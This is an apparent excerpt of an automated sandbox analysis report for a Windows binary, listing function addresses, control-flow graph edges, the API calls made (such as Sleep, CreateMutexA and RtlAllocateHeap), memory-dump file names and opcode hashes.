                                                                                                                                                                                                                                                              Function 00A8A34F Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 283 a8a34f-a8a35b 284 a8a35d-a8a36b 283->284 285 a8a371-a8a39a call a9d663 283->285 284->285 286 a8a93a 284->286 291 a8a3c8-a8a916 call a980c0 285->291 292 a8a39c-a8a3a8 285->292 289 a8a953-a8a994 Sleep CreateMutexA 286->289 290 a8a93a call ab6c6a 286->290 297 a8a996-a8a998 289->297 298 a8a9a7-a8a9a8 289->298 290->289 294 a8a3aa-a8a3b8 292->294 295 a8a3be-a8a3c5 call a9d663 292->295 294->286 294->295 295->291 297->298 301 a8a99a-a8a9a5 297->301 301->298
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: d1cc3d0594fdb7fdc7ce605957a2d4bebb0911ca35872a9c0ab17df1a7cbc645
                                                                                                                                                                                                                                                              • Instruction ID: 48f57f2fc0eff9b10caefb25fb1676d1518558bba48d483db30300e7d6de673b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d1cc3d0594fdb7fdc7ce605957a2d4bebb0911ca35872a9c0ab17df1a7cbc645
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 972107327442009BFB18ABA8DD8976CB762EBE1310F24421EE5159B7D5C775A9818352
                                                                                                                                                                                                                                                              Function 00ABD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 342 abd82f-abd83a 343 abd848-abd84e 342->343 344 abd83c-abd846 342->344 346 abd850-abd851 343->346 347 abd867-abd878 RtlAllocateHeap 343->347 344->343 345 abd87c-abd887 call ab75f6 344->345 351 abd889-abd88b 345->351 346->347 349 abd87a 347->349 350 abd853-abd85a call ab9dc0 347->350 349->351 350->345 355 abd85c-abd865 call ab8e36 350->355 355->345 355->347
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00ABA813,00000001,00000364,00000006,000000FF,?,00ABEE3F,?,00000004,00000000,?,?), ref: 00ABD871
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AllocateHeap
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1279760036-0
                                                                                                                                                                                                                                                              • Opcode ID: 5e27019336139518cfdbff30793001c94b31020202e97fd7ea5c65251e99ec2c
                                                                                                                                                                                                                                                              • Instruction ID: 12481e4bbdf00545c594ad8c267f5c4213a4c10c353b0fae59b4c2375c9eb5eb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5e27019336139518cfdbff30793001c94b31020202e97fd7ea5c65251e99ec2c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 00F0AE3550552566DB316BF79D01ADB7B5DDF857B2F198521ED04AB183FB30DC0086E0

                                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                                              Function 00A82EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 57040152-0
                                                                                                                                                                                                                                                              • Opcode ID: 64efed0b0d5be6031ccb80dd020ff689356095a4ec1bd31f8b5c93f1f592eec3
                                                                                                                                                                                                                                                              • Instruction ID: fc31d8c7d85b8f66bf797498d391693d7f9c651caec050c0b17f1017d1df1ec7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 64efed0b0d5be6031ccb80dd020ff689356095a4ec1bd31f8b5c93f1f592eec3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 30A1C271A016059FDF10EF64CA487AAB7F8FF15B20F048669E915D7281EB35EA04CB91
                                                                                                                                                                                                                                                              Function 00ABCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
